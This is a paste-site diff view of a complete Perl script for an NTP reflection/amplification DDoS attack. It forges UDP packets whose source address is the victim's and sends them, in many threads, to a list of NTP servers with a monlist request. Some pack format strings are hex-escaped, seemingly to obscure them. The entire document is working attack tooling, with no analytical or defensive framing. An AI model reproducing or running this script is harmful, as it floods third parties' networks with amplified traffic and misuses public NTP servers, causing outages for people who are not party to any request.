View difference between Paste ID: Wn9gVAET and 9kGK4HeB
SHOW: | | - or go back to the newest paste.
1
use threads;
2
use Socket;
3
4
my $num_of_threads = $ARGV[5];
5
my $target = $ARGV[0];
6
my $udp_src_port = $ARGV[1];
7
my $time = $ARGV[2];
8
#Open Input List.
9
my $openme = $ARGV[3];
10
open my $handle, '<', $openme;
11
chomp(my @servers = <$handle>);
12
close $handle;
13
my $ppr = $ARGV[4];
14
my @threads = initThreads();
15
print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";
16
17
#Does the list exist?
18
if (-e $openme) {
19
        print "Using $openme as list.\n";
20
}
21
unless (-e $openme) {
22
        print "List does not exist.\n";
23
exit();
24
}
25
26
#Start Threading
27
foreach(@threads){
28
                $_ = threads->create(\&attackshit);
29
}
30
foreach(@threads){
31
        $_->join();
32
}
33
sub initThreads{
34
        my @initThreads;
35
        for(my $i = 1;$i<=$num_of_threads;$i++){
36
                push(@initThreads,$i);
37
        }
38
        return @initThreads;
39
}
40
41
42
#Start DDosing.
43
sub attackshit{
44
45
alarm("$time");
46
repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
47
my $ip_src = ( gethostbyname($target) )[4];
48
socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
49
setsockopt( RAW, 0, 1, 1 );
50
main();
51
52
sub main {
53
    my $packet;
54
    $packet = ip_header();
55
    $packet .= udp_header();
56
    $packet .= payload();
57
                #send_packet($packet) && goto repeat;
58
                #send_packet($packet)
59
for (1 .. $ppr) {
60
        send_packet($packet) or last;
61
        }
62
goto repeat;
63
}
64
65
sub ip_header {
66
    my $ip_ver  = 4;
67
    my $ip_header_len  = 5;
68
    my $ip_tos  = 0;
69
    my $ip_total_len   = $ip_header_len + 20;
70
    my $ip_frag_id  = 0;
71
    my $ip_frag_flag   = "\x30\x31\x30";
72
    my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
73
    my $ip_ttl  = 255;
74
    my $ip_proto  = 17;
75
    my $ip_checksum    = 0;
76
    my $ip_header  = pack(
77
"\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
78
  $ip_ver . $ip_header_len,  $ip_tos,
79
  $ip_total_len,  $ip_frag_id,
80
  $ip_frag_flag . $ip_frag_offset, $ip_ttl,
81
  $ip_proto,  $ip_checksum,
82
  $ip_src,  $ip_dst
83
    );
84
    return $ip_header;
85
}
86
87
sub udp_header {
88
    my $udp_dst_port = 123;
89
    my $udp_len  = 8 + length( payload() );
90
    my $udp_checksum = 0;
91
    my $udp_header   = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",
92
  $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );
93
    return $udp_header;
94
}
95
96
sub payload {
97
    my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
98
    my $payload = pack( "\x61" . length($data), $data );
99
    return $payload;
100
}
101
102
sub send_packet {
103
    send( RAW, $_[0], 0,
104
  pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );
105
}
106
107
}